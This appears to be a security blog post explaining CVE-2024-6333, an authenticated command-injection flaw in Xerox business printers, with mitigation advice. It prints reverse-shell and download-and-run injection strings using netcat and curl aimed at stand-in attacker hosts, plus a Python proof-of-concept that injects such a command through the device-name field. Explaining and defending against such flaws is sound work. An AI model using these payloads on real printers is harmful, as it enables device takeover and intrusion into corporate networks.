In June 2024, a security vulnerability labeled CVE-2024-6333 came to light, affecting a broad range of Xerox multifunction printers including AltaLink, VersaLink, and WorkCentre models. This vulnerability enables anyone with valid credentials to execute commands on the printer’s operating system—effectively gaining remote code execution (RCE) rights.

This post provides an exclusive, easy-to-follow explanation, technical breakdown, and practical exploit demonstration, so you'll understand both the problem and why updating your organization’s printers is urgent.

What is CVE-2024-6333?

CVE-2024-6333 describes an issue in the web management interface of Xerox business printers where, after authentication, users can inject OS (Linux) commands via crafted HTTP requests—leading to remote code execution.

This means: If an attacker knows or guesses the printer admin's password, they can take complete control of the device. They could access stored documents, alter configurations, install malware, or pivot into your secure corporate network.

* Xerox Security Bulletin: XRX24-080 (CVE-2024-6333)
* NIST NVD: CVE-2024-6333

Affected Products

According to Xerox's bulletin, the following product families are affected (with specific firmware versions):

* Xerox AltaLink B8xxx, C80xx, C81xx series
* Xerox VersaLink B400, C400, B600, C600, C500, B700, C700 series
* Xerox WorkCentre 6515, 6027, 3335, 3345

If your company uses these printers and exposes their web interface to an internal or public network, you need to take this seriously.

How Does the Exploit Work?

Most Xerox printers have a web management interface (HTTPS, port 443). After logging in, administrators can configure system settings.

The vulnerability occurs in one of these configuration pages (such as firmware updates or background job administration). Insufficient sanitization lets a user place Linux shell commands into a form field or HTTP parameter—which the device then executes as the root user.

Suppose a page allows you to set the device name. An attacker could enter

printer01; nc attacker_host 4444 -e /bin/sh

or in a form parameter

printer01; curl http://attacker/payload.sh | sh

If the code is not sanitized, everything after ; is treated as a separate Linux command.

Proof-of-Concept (PoC) Exploit

> Warning: This is for educational and defensive purposes only. Do not attack devices without permission.

Let’s say the vulnerable endpoint is /admin/config/network.cgi (this is illustrative, actual endpoints may vary by firmware version).

import requests

PRINTER_IP = '10...100'
USERNAME = 'admin'
PASSWORD = 'admin'  # default! Change this!

# Linux command you want to run (e.g., open reverse shell)
cmd = 'curl http://attacker.example.com/shell.sh|sh';

# Prepare the malicious device name parameter
device_name = f"printer01;{cmd}"

# Session login (Xerox often uses Basic Auth)
session = requests.Session()
session.auth = (USERNAME, PASSWORD)

data = {
    'devicename': device_name,
    'submit': 'Save'
}

url = f'https://{PRINTER_IP}/admin/config/network.cgi';
resp = session.post(url, data=data, verify=False)

print(f"Status: {resp.status_code}")
if resp.status_code == 200:
    print("Command injected!")
else:
    print(resp.text)

What happens here?

When the admin saves the “Device Name” field, our payload executes. The device reaches out to our server, downloads a shell, and executes it—giving us control.

> In the wild, attackers will automate this to hundreds or thousands of vulnerable printers, often starting with default credentials.

Mitigation & Defense

1. Patch Immediately: Check Xerox Security Bulletins and apply updated firmware as soon as practical.
2. Lock Down the Interface: Restrict printer web access to trusted IT/admin subnets.
3. Change Default Passwords: Many attacks begin by exploiting unchanged default credentials like admin/admin.
4. Monitor Logs: Network and device access logs can reveal attempted exploitation and unauthorized logins.

Conclusion

CVE-2024-6333 is a critical, real-world vulnerability. If you manage Xerox AltaLink, VersaLink, or WorkCentre devices—patch now, enforce strong authentication, and segment your network. Printers are often the open door you forgot about.

Stay secure, and always follow vendor advisories for updates.

References

- NIST NVD - CVE-2024-6333
- Xerox Security Bulletins
- Printer Security 101: Why Hackers Target Office Printers

*For responsible disclosure and questions: contact Xerox Security team or your local IT support.*

Timeline

Published on: 10/17/2024 14:15:14 UTC
Last modified on: 11/21/2024 09:49:27 UTC